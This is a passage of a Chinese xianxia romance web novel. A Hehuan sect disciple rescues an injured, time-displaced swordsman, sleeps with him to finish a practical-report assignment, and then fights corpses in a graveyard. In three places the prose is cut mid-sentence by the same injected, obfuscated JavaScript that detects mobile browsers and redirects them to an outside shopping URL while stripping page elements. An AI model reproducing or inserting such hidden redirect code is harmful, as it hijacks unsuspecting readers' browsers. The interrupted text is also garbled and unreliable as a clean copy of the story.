《你们合欢宗怎么这样啊?!!》 1. 第 1 章 雁音最近捡到一个男人。 捡到他的时候,梧城正在下雨。雁音一手提伞,另一手提裙,在山沟沟那看不出人形的肉团和回去洗裙子之间纠结。 她犹豫了两秒。 最终还是找来麻绳,把人拖回客栈。 雁音在客栈顶楼包了间房,屋内摆满纸笔和各式法器,连个下脚的地方都没有。她不是一个特别会照顾自己的人,以往有师姐照料,现在下山了,只能任由生活杂物和学习工具淹没自己。 等她挪出一个足以容纳大型物体的空地,她看了看床铺,又看了看肉团,再次犹豫了几秒。 这次选择把肉团放在地上,让自己爬上床。 肉团没有反对。 也是,毕竟受了这么重的伤。 手脚俱断,胸口塌陷,如此严重的伤势没有当场毙命就是奇迹,现在虽然在呼吸,但说不定很快就会真正死去。 想到这,雁音轻声询问:“请问等你死了之后,我能把你做成傀儡吗?” 没有回答。 肉团说不定不仅是肉团,还是瞎子聋子哑巴。 雁音也不介意,她可是很忙的,平日白天都不在房内呆着,一般等到晚上才归,她尽量想起给肉团带药带饭,受伤的人总需要补充能量,但有时候累了困了,她回来倒头便睡,想不起屋里还有个半死不活的人。 毕竟不能指望一个自己都照顾不好自己的人,能将一个重病伤患照料周到。 即使如此,肉团也没死成。 甚至在雁音失望的眼神中,他的气色一日好过一日,竟初具人形,渐渐有了康复的趋势。 但他还是不说话,沉默得没有生气。 有时候雁音觉得这人像师姐养的盆栽多肉,安静,不动弹,好养,给点水和阳光就能活。 但这人摸起来硬邦邦的,不像多肉柔软饱满,某种程度上更像仙人球,浑身都是刺。 日子往后,雁音更加忙碌,她甚至懒得回客栈,整宿整宿泡在外面,想起来时跑回客栈给仙人球喂水喂食,没想起来时连个影子都不见。 雁音很忙。 忙着做社会实践。 梧城是个规模不大的小城镇,背靠的合欢宗也是个规模不大的小宗门,但合欢宗在修真界很有名,她们修习的功法特殊且刁钻,靠采补和双修大法闯出了不小名头。 雁音就是合欢宗的一员。 她是这届弟子中最小的小师妹。 合欢宗课业比想象中更加繁忙,经过三年教导基础功法和修真界常识的通识课程,学习两年合欢宗本门心法、法器入门、以及必修的防骗指南和骗术大全,每日辰时上课酉时下课,五年总计一万零八百个课时学习,师姐才大手一挥,准许雁音下山,进行人生中第一次社会实践。 简单地说,社会实践就是钓男人。 钓男人,为期一月,写不少于两千字的实践报告,再把报告交还给师姐。 多简单啊。 然而雁音错误地预估了梧城在修真界的地位。 她去黑市解救被抓捕的奴隶,发现奴隶是上了合欢宗黑名单的妖族少主、天才琴修和潜伏魔修。 她去城门口试图制造偶遇,发现路过的好心人分别是师姐的姘头、师姐的姘头……和若干师姐的姘头。 雁音:“……” 活人不行,死的总可以了吧? 于是她大半夜去挖坟,拼拼凑凑一副躯体,结果死鬼睁眼就是一句:“阿弥陀佛,施主,您有何所求?” 雁音后退一步,双手合十:“对不起,大师,打扰您圆寂了。” 写作业,好难。 截止期限将近,雁音却连男人的小手都没牵过,她有些气馁,难得没在外面度过的一晚,她趴在床上抱着被子像条毛毛虫似地扭来扭去。 男人男人男人…… 作业作业作业…… “你在做什么?” 房间里突然有人问。 雁音吓了一跳,明明屋内只有她一人的,她立刻直起身体,指尖朝上,摆出防御姿态,环顾这大大小小的锅碗瓢盆,纸团丢得到处都是,天花板、床底下,还有眼前这人的头上。 雁音眨眨眼睛:“你好,你没死啊。” 是仙人球哥。 要不是他突然出声,雁音都忘了房间里还有个大活人。 仙人球嗯了一声,摘下纸球,大概是伤没好全,中气仍不足,重复一遍刚刚的问题:“你,在做什么?” “写作业。” “?”仙人球面部表情未动,但雁音莫名觉得他没理解。 于是她又解释道:“下山前师姐留下的课业,令我一月内完成,现在我一个字也写不出来。” 报告内容编也编不出来,雁音怎么知道元阳炼化后化作灵力从经脉走过的感觉是冷的还是暖的?灵力不就是灵力吗,怎么还有温度? 雁音问:“你会写吗?”实践报告。 仙人球顿了顿:“抱歉,我从未写过此等记录。” 天啊! 好羡慕,他到底是出身哪门哪派,居然不用遭受作业的折磨!! 少女眼神震惊闪亮,仙人球又不说话了,大概是因为他觉得自己太[刺]了,需要静静。 窗外月光倾洒而来,在寂静逼仄的室内缓缓流淌。 这种安静不会对雁音造成任何影响,她天然地,没有诸如尴尬或羞涩的情绪。她把被子丢在一边,穿鞋下床,从床头柜抽屉中再抽出一张白纸,沾墨提笔,笔尖悬于纸面。 良久。 墨滴在纸面,晕染成圈的污渍。 放弃啦放弃啦,写不出来就是写不出来,瞎编和交白卷都是被师姐骂得狗血淋头,那不如就交白卷,还省得花一晚上胡编硬凑的功夫。 雁音把纸团成球丢在地上,脸和上半身都趴在桌上,转头对仙人球说:“饿了,我们出去吃饭吧。” 一片阴影投射下来。 雁音仰视着他,突然发现自己从未仔细观察过球哥的相貌,从前他是一团看不出死活的肉团,现在他伤好些许,胸膛饱满,不再是看不出样貌的形状,剑眉星目,鼻梁高挺,宽肩窄腰,比她整整高一头,即使透露着病容,皮肤在月光浸透下好似温润的玉。 对啊,这是个男人。 怎么就没想起来球哥也是个人呢?!! 还是个好看的男人。 师姐说,合欢宗弟子,要懂得抓住机会,万万不可亏待自己。 于是雁音懂了,完成作业的机会正摆在眼前。 “能不能帮我一个忙?”雁音问。 仙人球:“要做什么?” “当我的素材,帮我写实践报告吧,求求你了求求你了求求你了。” 雁音双手合十,托在下巴处,和头颅一道上下点点,脸颊有发髻的红丝绦投下的阴影。她的五官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401528|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精致绝伦,偏向圆润,不显艳丽,整个人透露出一股不属于尘世的野性,配上全心全意凝视的眼神,好想叫人把全世界都摆在她面前。 仙人球:“……” 他想说不会,但不知道是脑子还是嗓子坏掉了,竟然没发出声。 没说话就是同意的意思,雁音懂得很。 她马上坐起身,抽出另一张白纸:“在开始实践前,我要问你三个问题,你得如实回答。” 其实合欢宗挑实践对象的眼光很苛刻,有非常非常多的前置条件,但下山前,师姐告诉她,必要时刻其他条件可以放一边,为了小命安全,有三种男人绝对绝对不能招惹。 第一。 修为太高的男人不能惹,因为打不过,全宗门加一起也打不过。 “你修为如何,让我摸摸。”雁音问。 球哥沉着脸沉默不言,雁音手指勾了勾他左手经脉:“筑基大圆满,尚可。” 看上去年纪不大,筑基大圆满,这不挺高的嘛,天赋卓绝,也不知道在不高兴什么。 雁音点点头,大境界中分初、中、末和圆满四个小境界,球哥比自己高两个小境界,能接受,打不过也能跑路。 第二,剑修不能惹。 因为他们小心眼且护短,坑了小的会惹来一群老的,不划算。 “你是剑修吗?”雁音问。 “剑?”球哥尾音隐藏微微的颤意,有些沙哑,“……没有。” 那就是不是剑修的意思。 雁音再打了个勾。 第三,身世背景复杂的不能要,很容易被卷进阴谋漩涡,要命。 “你家住哪里?家里有什么人?有无亲朋好友?有没有仇家?” 沉默片刻,男人问了个奇怪的问题:“现在是何年?” 这人不会是个傻子吧? 雁音说了一个数字:“现在是神历860年。” “原来如此,原来如此。” 他一连说了好几个原来如此,似乎陷入一种巨大的失落无措中,可是见雁音直勾勾地望着他,他又硬生生地从这种足以吞噬他的情绪中走出,低声答道:“我没有家,家中无人,没有好友,仇家……暂时亦没有。” 啪。 毛笔重重落在桌板上,雁音猛然起身! 太难了,想找到一个长得好看、听见合欢宗三个字不跑不追,还符合实践要求的素材太难了。 雁音想都没想,当即离开座位,长凳被她撞开在地面划拉出一声响,她踢开纸篓和咕噜咕噜滚落的陶罐,走上前,迎着男人震惊而又迷茫的目光,把他推到床上,开始扒拉他那套带血的衣服。 “你,你,你……光天化日之下,你在做什么?!” 雁音理所应当,吐出两个字:“实践。” 仙人球眼神都开始慌乱了:“那你扒我衣服做什么???” 这人咋回事啊? 雁音的语气疑惑又笃定:“我是合欢宗啊。” “你问的问题好奇怪啊,你不先脱衣服,我怎么实践?不实践怎么写实践报告?” 她歪歪头,“还是说,你不愿意呢?” “……” 仙人球迎着她的目光,望进那双仿佛黑曜石一般的清澈眼睛。 那里没有对接下来可能发生的事情的羞涩和期待。 坦坦荡荡的。 全然是对完成作业的渴望。 2. 第 2 章 明怀川穿越了。 起初,他正与仇家火拼,砍翻护山大阵再砍镇派灵兽,砍完驻地灵脉再砍库房禁制,他砍得一路火花带闪电,打到对方宗门大殿,一剑霜寒,取得仇人项上人头。 而明怀川也被刺中心脉,伤势过重。 他以为自己要死了。 没想到眼睛一闭,再一睁,发现自己掉进了一个野山沟。 他看不见,听不见,说不出话,甚至连触感都变得迟钝,只朦胧察觉到似乎有人救了他,脚步徘徊身周,将他从阴冷的山间带到一个能遮风挡雨的地方。 好温暖。 他模糊地想。 失去感知后,连时间的流逝也变得不明显,明怀川能察觉到自身在慢慢恢复,但他不知道这种恢复要持续多长时间,他亦无法感知自己的灵力和修为境界,不知自己是否还有作为剑修的资格,还是彻底变成废人。 ……罢了,都不重要。 他想,只要仇家死了就好。 然而态度再无谓摆烂也摆脱不了躯体逐渐康复的命运,日子一天天浑噩过去,最先恢复的是听觉和触觉。 某日,明怀川察觉到一只手在胸口轻压,同时有人嘀嘀咕咕的:“硬邦邦的,像仙人球。” 谁? 听觉刚恢复,声音忽近忽远,有时像在云端,有时却又像耳鬓私语。 明怀川逐渐意识到救他的人是位女子。 她会为他上药,喂他水米,明怀川对时间不敏感,他不知雁音两次回来间隔时间究竟多长,只知有时陌生的灵力会从指尖传导至身体,极大缓解他的不适,将他的意识从混沌边缘拉回。 这时他的五感会清醒些,能听见她的自言自语。 她说:“好过分,黑市救的奴隶怎么都是这种人?”、“师姐们的对象怎么都不走啊?” 以及诚恳的道歉:“大师对不起,下次给你带些贡品。” 善良、有礼。 师门关系友好,且很鼓励门下弟子与他人结成道侣。 是个很可爱的女孩子。 明怀川对她有了初步的印象。 往后日子,他还是昏睡,但清醒的时间越来越长,房间安静,窗外传来叫卖声和对话,偶尔他会听见一两个没听说过的宗门,听见些许八卦和风云人物的名字,然而他却觉得全然的陌生。 他发现救他的女子常常不在房间里呆着,但这对修士而言算不得什么异常。 而后突然有一天,他能看见了。 那是个晚上,那个女人难得没有外出,月光明媚,屋内烛火燃烧。 明怀川睁开眼睛,余光中雁音的侧脸从模糊变得清晰,月色和烛光都在她眼里跳动,他怔了怔,缓慢别过头去。 心神不宁。 仇人已死,明怀川无事可做,在许多个看不见也听不见仿佛尸体一般的日子,他闲着无聊,在脑海中勾勒救命恩人的轮廓。 就和她现在一模一样。 一见钟情。 心脏仿佛被一股不可琢磨的大手捉住了,他感到紧张,与此同时声带和肌肉也奇迹般地同时好转,明怀川缓缓地坐起身,那女子似乎沉浸在自己的世界中,没看见他悄悄地靠在椅背,妄图掩盖自己的虚弱。 “你在做什么?”明怀川开口。 不是感谢,也不是问候,而是问了句很傻逼的搭讪。 但她不在意自己的拙劣问话,眼睛亮晶晶的,她回答说在写作业,转头问:“能帮我一个忙吗?” 可以。明怀川在心里回答。 接下来,是一阵令明怀川懵逼的问答环节。 修为没了。 剑没了。 而后他意识到。 他,明怀川,明家少主,年少成名,天纵奇才,打架从无敌手。 在干掉仇家的当日穿到了一千年前。 一千年前。 那他架不是白打了吗! 明怀川心神震动,瞳孔紧缩又极速放大,然而很快他被迫极速消化这一事实,因为他看见雁音朝他走来,脸红红的,却十分淡定。 淡定的雁音突然开始扒他衣服。 “你做什么????”他慌乱地问。 “实践。”雁音老实回答,“我是个合欢宗啊。你不脱衣服,我怎么实践呢?” 不是,你靠得太近了! 明怀川退无可退,脑袋温度骤然升高,多重超过认知的意外令他无法思考,在雁音问他“还是说你不愿意吗?”时,他像是被无形的力量定住,下意识摇了摇头。 然后。 然后。 夜色深沉,大势已去。 日月轮替,朝阳在遥远天边点亮朝霞,又是一天新的轮回。 明怀川,外号仙人球或球哥,极致欢愉后被磨灭的意志断断续续回归,他轻轻拍着雁音的背,哄她入睡,而他彻夜未眠,一直在思考。 就是说,即便是两情相悦,这进度是否也有点太快了!!! 。 “你先出去。” 一双手抵住胸膛,在明怀川缓过神前便将他推出门外。 门内站着雁音,她变脸太快,昨夜还靠在肩头小小地打着哈欠,蜷缩着,显得娇小而懵懂,只是看了眼初升的太阳,夜晚的主动和热情顷刻荡然无存。 她现在沉着脸说:“马上要到截止日期,现在我要赶作业,你不要打扰我哦。” 雁音掏掏兜,把储物袋里和碎银铜钱混在一块的仅剩的三枚灵石分出一枚,塞到他手中。 而后。 砰! 门关了,徒留明怀川与木门上的窟窿大眼瞪小眼。 “……” 这女人……真是善变。 见雁音真的不打算给他开门,明怀川咳嗽两声,揣好那枚灵石,走下楼。 天光既明,街上传来卖早点的吆喝声,这个时代和一千年后不同,有着不曾听过的宗门,凡人和修士之间也不是泾渭分明分成两派。 他的身体比昨天好上一截,但仍然是个走一步咳三下的病秧子。可即使是病秧子,身上仍有许多修真者的特征,街上行人却并未因此对他有过多关注。 人群熙熙攘攘,各有归途,他裹挟于人流之中,思考接下来的人生该如何度过。 首先,作为一个剑修,他剑没了。 不知道是丢进时空乱流,还是碎在某个地方。 其次,他修为也没了。 一觉醒来从化神期跌落筑基期,至二十五岁修成金丹起,他就没觉得自己这么弱过。 相比之下穿越时空反而变成了小事,明怀川躺了一个月,无所事事了一个月,所有的愤懑和不甘都已消退,连这个问题都能理性思考,他在一千年后无亲无友,在一千年前也无亲无友,留在哪里对他来说都并无差别。 要说唯一遗憾的话。 就是现在这个时间点仇家还没出生。 不过这也不算问题,可以等八百年后直接找上门去,一个小婴儿总比来日的宗门天骄好对付得多。 人生不如意之事十之八九,明怀川看得很开,日子总要过下去的嘛。 暖春四月,风也是清香的,夹杂着栀子和露水的味道。明怀川的行走漫无目的,无意识地,他顺着梧城唯一一条主干道,往香味的源头走去。 “公子,公子。”卖花的老婆婆叫他。 明怀川停下脚步,环顾左右无人停留,他指了指自己,见老婆婆点头,才知道叫的是自己。 “何事?”明怀川走上前。 小店就开在路边,除了新鲜的还沾染露水的栀子花之外,还有些打造成鲜花样式的首饰。 老婆婆拿起一束用丝线绑好的栀子花,递给他:“今年栀子花开得早,公子要不买一束,带回去送给家里的娘子吧?” 明怀川莫名,他哪来的娘子? 老婆婆视线下移,笑着看向他残留血痂和抓痕的脖颈。 明怀川脸色爆红:“……” 筑基期的自我恢复能力远不如曾经,那女人又力气大得很,完全不似相貌的精致可爱,以至于他脖子留下的痕迹显得既暧昧又血腥残暴。 见他下意识抓紧脖颈衣物的动作,老婆婆还有什么不明白的:“哎呦公子,送不了娘子,送心上人也可以的啊,这个季节,后头山上合欢宗的仙长们都爱往头上簪花哩。” 合欢宗。 她自称是合欢宗的弟子。 合欢宗便是明怀川不曾听过的宗门名字之一,不知未来是解散还是隐遁了,他不知道这个门派的名声和其背后意味着什么,沉默片刻,向老婆婆打听。 “合欢宗的弟子,都喜欢什么?” 合欢宗门人大多随性,对欺压凡人不感兴趣,甚至因为实践课业,有的弟子与凡人打成一片。梧城背靠合欢宗讨生活,和合欢宗关系融洽,老婆婆自然说的都是好话。 “仙长们个个都漂亮多才,喜欢花呀酒呀琴呀之类风雅的东西——栀子馨香,就算是仙长们不喜欢,公子也可以自己留着啊。” 说得也是。 明怀川轻易被打动了,他觉得老婆婆说得对,以他浅薄的几乎不存在的与女人相处过的经验来看,女孩子……一般都喜欢漂亮的物件吧……? 希望她能高兴,即使明怀川连她的名字都不知道,他没走,脚步在小摊前流连。 摘下的鲜花转瞬即逝,活不过七天,没兴趣,明怀川进了店,挑挑拣拣从首饰堆中选出一个栀子花形的镶金发簪,下面还坠有一颗沉玉打造的小铃铛,拿在手里叮叮当当地响。 “这个怎么卖?” “公子眼光好,一眼挑中我这小摊上最值钱的东西,”老婆婆笑得合不拢嘴,“看在公子这么俊俏的份上,老婆子给你打个折,你给我两枚灵石便好。” 明怀川往腰间一摸,手顿时停下。 ……他只摸到了雁音出门前塞给他的唯一一枚灵石。 很好。 从小到大从没缺过钱的明怀川面无表情地想,他现在不仅没剑,没修为,没亲缘。 他还是个穷鬼。 。 一支笔,一个白天,一个奇迹。 雁音伸个懒腰,任由被子和缎带从纤细腰间滑落,推开窗,沉闷昏暗的房间瞬间被点亮,她让自己的得意大作晒晒太阳,待夕阳余晖散去,再把作业郑重放进芥子袋里。 写了一天的报告完美阐述了元阳转化成灵力后对经脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401529|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的修复和对修为的提升作用,雁音超满意,师姐一定会夸奖她的。 人在专注做某件事时总会忽视来自身体的反馈,等到松懈时才能察觉出异样。 咕叽。 雁音摸摸饥饿的腹部,再看向一乱团的房间,眼不见心不烦地穿好衣服把门一关—— “咦,你回来啦?” 门外站着球哥。 她到现在也不知道球哥的姓名,用“你、我”指代好像也不影响交流。 她也不知道他什么时候来的,是刚巧还是在门外等待已久,缓慢地眨了眨眼睛后,在球哥开口前,雁音发出邀请:“我饿了,我们去吃饭吧。” “吃什么?”他问。 “小馄饨!” 楼下大娘做的小馄饨超好吃! 一楼大堂没什么人,两人找了个靠窗的位置坐下。这家客栈是家夫妻店,雁音在这住了一个月,与两位老板都很熟悉,不需要多说,老板娘唰唰唰动作飞快,几乎在落座的瞬间端上两碗刚出锅的小馄饨。 汤面清透,馄饨皮薄馅大,在这里,馅至少比别家多了三成,除了常规的香油和葱花以外,还有一股胡椒粉的香气。 热气扑面而来,雁音吹了吹,她真的很饿。 如果余光里仙人球不要欲言又止地盯着她就更好了。 雁音把汤勺放下,盯回去。 她的眼睛睁得很大,乌黑乌黑的,眼瞳深处纠缠着大团的墨绿,像深夜天边的极光。球哥,也就是明怀川看着她,咳嗽了声目光偏移,看向别处。 手里攥着的簪子松了又紧握。 明大少爷没有钱,但明大少爷有的是时间,他帮卖花的老婆婆卖了一整天的花,用所得酬劳加上雁音此前给他的,换了那根栀子花的簪子。 但他送不出手。 那就是只普通再普通的簪子,仅仅价值两枚灵石,没有纂刻小形法阵,也没有任何特殊功能,送这样的礼物,会不会太过轻慢。 明怀川犹豫许久都没开口。 反倒是雁音先他一步出声,像是发现了什么:“咦?” 她身体前倾,突然凑上来,发丝和香气一同在眼前放大。 脖颈痒痒的,温热的触感,在锁骨轻柔地划。 连带着周围经脉的灵力也被唤醒,在脖颈乃至肩头产生了一种难以察觉的热意。等明怀川意识到刚刚触碰他的是雁音的手指,脖子已弥漫一层绯红,他连忙后撤,差点撞翻身下的椅子。 “你干什么!” 雁音已经坐了回去。 她好像意识不到刚刚跨越的是足够危险的距离,点了点明怀川光洁的锁骨:“这里,治好了哦。” 昨夜的抓痕彻底消失无踪,没留下一点痕迹。 合欢宗的心法能靠与人双修快速提升修为,男女之间,阴阳调和,其实说白了修炼的是生的力量,昨夜榨取的某种意义上是生,治疗他的是生,现在激发的也是明怀川经脉的生机,只激发了小小的一点,就足以修复皮外伤。 球哥昏迷而她又不忙的时候,雁音也会用这种方式为他治疗。 合欢宗,很神奇吧! 雁音虽然仍然是那副情绪起伏不大的样子,但嘴角小幅度勾起,明怀川看出她的得意,扯扯嘴角,低声道:“咳,多谢。” “你接着吃吧,我亦有话要说。”他继续道。 “哦。”雁音应道。 握紧簪子的手放到明面上。 明怀川第一次和女性产生如此深的纠葛,他一直在酝酿,不知道该如何表达心情才好,昨夜之后他总要负起责任。他不想表现得很轻浮,亦不想过于直接而吓到雁音,直到馄饨汤变凉,雁音疑惑地看了他一眼。 “唔,你要是不说的话,”她问,“我可以先说吗?” “你身受重伤,虽然如今能下地行走,但实属勉强。”雁音望向他,“而且经脉受损会影响修行,这样对你不太好吧。” 合欢宗心法固然能激发生机不假,双修是比触摸更有效的修复方式,但雁音就是个普普通通的筑基期弟子呀。师姐说过,她这种合欢宗小弟子能起到的作用有限,灵力炼化效率也偏低,更应注重质量,懂得节制,谨慎挑选实践对象。 雁音很想报答球哥作为实践素材的恩情,这是规则。 所以不如把球哥介绍给修为更高的师姐们。 师姐们比她厉害,对于合欢宗心法掌握得也更深,相对的治疗效果更好。球哥修为境界不高,不是剑修,又没有复杂的身份背景,关键是很符合人类的正常审美,是很完美的实践对象,师姐们一定会喜欢的。 师姐喜欢,师姐得到。 治好球哥,球哥继续悟道。 这叫双赢。 神奇的合欢宗还有更神奇的事。 雁音认真询问:“身上的伤总归要治的,我可以把你介绍给我的师姐们吗?” 空气片刻凝滞。 明怀川先是不解,而后困惑。 在看见雁音两只眼睛忽闪忽闪不惹尘埃,好像在认真期待他的答案后,他旋即恍然大悟。 ……这女人想把他卖给别人? 为什么啊?不是两情相悦吗? 她怎么敢的!! 3. 第 3 章 一个月。 整整躺了一个月,明怀川死鱼烂肉般躺在床上,厮杀、穿越和无所事事的空茫都没有击破他,可他现在明显感到气息不稳,只能深呼吸。 明怀川:“你知道自己在说什么吗?” 雁音看了看他。 她小声说:“我知道呀,师姐们人很好的,你别怕。” “你!”谁跟你说这个了! 明怀川再也忍不住,瞬间脸色变得铁青,霍地站起,庞大而挺拔的阴影笼罩着雁音,抬头的刹那间露出一双杂糅了震惊、不解和受伤等等多种情绪的眼睛。 他与雁音对视,而雁音只是疑惑。 呆呆的,像是平静的湖面。 “呵。” 这让明怀川更加气恼,忍不住冷笑,他握紧拳头和发簪,狠狠地瞪了雁音一眼,却没再多说一句话。 下一刻径直拂袖而去。 只留下雁音留在原地,看着他的背影茫然地挠了挠头。 欸?怎么生气了?难道她提出的不是一个大家互利互惠的提议吗? 山下人类的思维真是难以理解。 泡在汤里久了,小馄饨已经不像刚出炉时那么饱满而充满韧性,变得软烂、黏连,嘴唇轻轻触碰就能戳破表皮。 雁音缓慢吃完这碗不再好吃的小馄饨,她拿着汤勺的手顿了顿,又把原本放在对面属于明怀川的那碗也吃了。 不能浪费。 瓷白的碗底反射烛火的光,天已然漆黑,梧城没有夜市,无论是街道还是客栈大堂的人流都少了不少,雁音走到柜台前,她摸出钱袋:“你好。结账。” 灵石与凡间银钱互通,据这几日观察,大概是一灵石等同于一百两银子,具体雁音没有计算过,算学是她不擅长的科目。 “两碗馄饨没几文钱,音音仙长,就当是我送你的吧。”老板娘回答。 雁音摇摇头:“还要买别的,麻烦老板娘,两个馒头和两份小菜,不要荤腥,打包。” “送朋友的?” “嗯。” “那也没多少,一并送你好了。” 雁音没有推拒,接过老板娘递过的布袋:“谢谢你。” 今夜是满月,月盘的剪影嵌在天幕,被张牙舞爪的树梢切得支离破碎。雁音拎着布袋穿过大街和城门,越走越人迹荒芜,等她停下时,已经走到一处荒凉破败的空地。 是一片乱葬岗。 起起伏伏的荒土丘峦,下埋枯骨,上生杂草,少数几个土包立了简易的碑,长年累月的风吹雨打后字迹都被磨灭,变成一块块普通的石头。 雁音走到一处坟包前停下。 这是乱葬岗少数几个有碑的坟,说是碑,其实更像是标定位置的坐标。雁音把布袋里的饭菜拿出来依次放在碑前,闭上双眼,双手合十当作祭拜姿态。 她说:“阿弥陀佛,大师,请用供品吧。” 风突然起。 不知何时,轻薄的乌云遮蔽月光,漆黑的乱葬坟岗是死去的大地,风吹啊吹,吹过洞窟和黄土,传来声声似有若无的哭嚎。 雁音觉得有些阴冷,悄悄睁开一只眼睛。 也就是此时。 乱葬坟岗仿佛彻底活了过来,地上地下无数断肢和头颅隐隐震动着,低语着,将来自死亡的愤怒尽数向坟地唯一的活物倾泻,可雁音却没有抵挡,因为碑后方的黑暗深处电光火石间伸出一只干枯的骨手,牢牢地抓住了她—— 。 愚蠢。 都不知道是在骂自己还是怪别人。 明怀川觉得自己一定是被雁音气昏了头,才会如此不顾风度掉头离去,走向没有目的地的街道。 街上闲散零星的行人见到他纷纷避让,却又见怪不怪地别过头,他们不会恐惧,不会警惕,仿佛如他一般受了情伤而委屈生气的修士在梧城来说是常态,丝毫不会因此而影响他们的日常生活。 更有好事者好奇地看向他,看热闹不嫌事大地想从他身上探听八卦。 “是修士呢……” “估计又是合欢宗的仙长们……” “嗨呀,这种事每个月都能见到好几次。” 修士耳聪目明,听得清行人的窃窃私语,明怀川这时才意识到。 或许合欢宗和他想象中的不一样。 但具体哪里不一样却又说不上。 明怀川揉揉眉心,至少此刻他不想成为别人的谈资,于是随便寻了个方向,径直走至城外。 城外有处破庙。 房顶破了个洞,抬头可见头顶夜空和半片破瓦,到处是断壁残垣和棉絮似的蛛网,应当是许久没有人来过,供奉的神像也不翼而飞,空荡荡的只剩下碎石和厚厚的灰尘。 明怀川无处可去。 扑面而来的飞尘让他忍不住咳嗽了两声,他抬手,虽然修为一退到底,但常用的咒语总不至于从记忆中褪色,明怀川掐了个清洁作用的法诀,吹拂去破庙的沙土,大致清理出一个足以供他今晚休息的空地。 墙角立着一个支离破碎的铜镜,大概曾经是供奉神像的法器,但它现在已经失去了原本的作用,轻盈的月光从高处降落,明怀川透过铜镜看清自己。 眉间郁色、脸色苍白、头发随意乱糟糟地绑在脑后,一身不知从那翻找出的素色衣裳,宽大异常,显不出脸也显不出身材。 手里竟然还捏着那支镶了铃铛的栀子花簪子。 一见它,明怀川的脸色就更臭了。 无用之物,折断是它唯一的宿命。 可明怀川却始终没有下手,他长久地凝视着木雕的栀子花瓣,毕竟是他努力摆摊得来的成果,留作纪念也不是不行。 发簪抛起又下坠,起起落落,不知像谁的心。 风向就是在此时变化的。 月被遮蔽,和煦温暖的春风变成鬼哭,明怀川猛然惊起,冲出破庙。 城东的方向,遥远的地平线之外,隐隐约约可见被死气扭曲得几乎化作实体的灵力冲天而起。 以他白日所见所闻,梧城人民安居乐业,平安顺遂,看起来不像被尸鬼入侵的样子,可眼前的景象却与邪祟入侵十分相似,做不得假。明怀川不疑有他,提气跳起,脚尖踩在树梢上,向死气最浓重的位置飞奔。 片刻后。 明怀川看清黑雾最中心的人,脸色霎时有一瞬扭曲。 ——合欢宗的弟子服。 合欢宗服饰多以红白双色为主,材质顺滑闪亮,间或点缀金银饰品,黑雾之中简直是个锃光瓦亮的大灯泡。 而明怀川认识的合欢宗弟子只有一个。 她身处活尸中央,无数苍白的扭曲残肢伸向她,想要捕获她,将她撕成碎片,更可怕的是已经有一只骨爪抓住了她,将她趔趄扯向坚硬的墓碑。 这个笨蛋,竟会让自己身处危险之地! 纵使他仍然在生雁音的气,但此情此景由不得他多想,明怀川抬手,那只经过辛劳得到却送不出去的发簪立即化作一道流星,闪电刺向伸向雁音后背的万千鬼手。 咻! 一道破空声。 雁音听见有什么东西疾速射来,带着奔腾狂暴的灵力,精准击中身后,但她没有时间顾及到底发生了什么,扯住她的骨爪已经将她拉到墓碑之后。 余光中她看见猎猎白衣。 风将那套眼熟的粗布麻衣吹得鼓起,将他的身形吹得高大,像不久前恼怒地站在她身前的身影。 “……来!”他喝道。 使用的是通识课上没记录过的招式,手持一个长条状的东西,抡成浑然的半圆,背脊提拔,招招利落,将挤压在一起的乱葬岗残肢生生逼退,露出方才发簪破天一击后被斩断的尸体。 好惊人的攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401530|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击力。 雁音把下巴搁在石碑上,露出脑袋。 双修心法并不适合战斗,因此门下弟子除了修习本门心法之外,还鼓励选修一门战斗方式,雁音不是没有战斗力,只是尸变骤起她没有立刻反应才给了活尸可乘之机。 她勾了勾右手食指,由灵力构成的丝线无声又迅速,缠绕在被击败没了声息的残肢上,灵力没入骨架,而雁音同时获得了它们的控制权。 手指轻柔拂过空气,白骨在跳舞。 腐烂的,残酷的舞蹈,悄然中收割生机。 和明怀川的攻击共同构成盛大的死亡。 乱葬岗的尸体是有数的,很快便被清理一空,随着能够活动的尸体数量几近于无,此处被死气扭曲的灵力也逐渐安静,风变得和缓,吹散遮蔽月亮的云。 雁音垂下手,切断对尸体的操控,向明怀川打招呼:“晚上好。谢谢你。” 明怀川却没停手。 他仍旧手持那块沾满污血脏到看不出本来面貌的物体,胸间起伏,强行提取灵力令经脉隐隐作痛,他却仍保持警惕地望向雁音,准确地说,是望向雁音的身后。 “过来。”他把雁音扯到身旁。 还有一个目标。 ——最开始,抓住雁音的那只鬼手的主人。 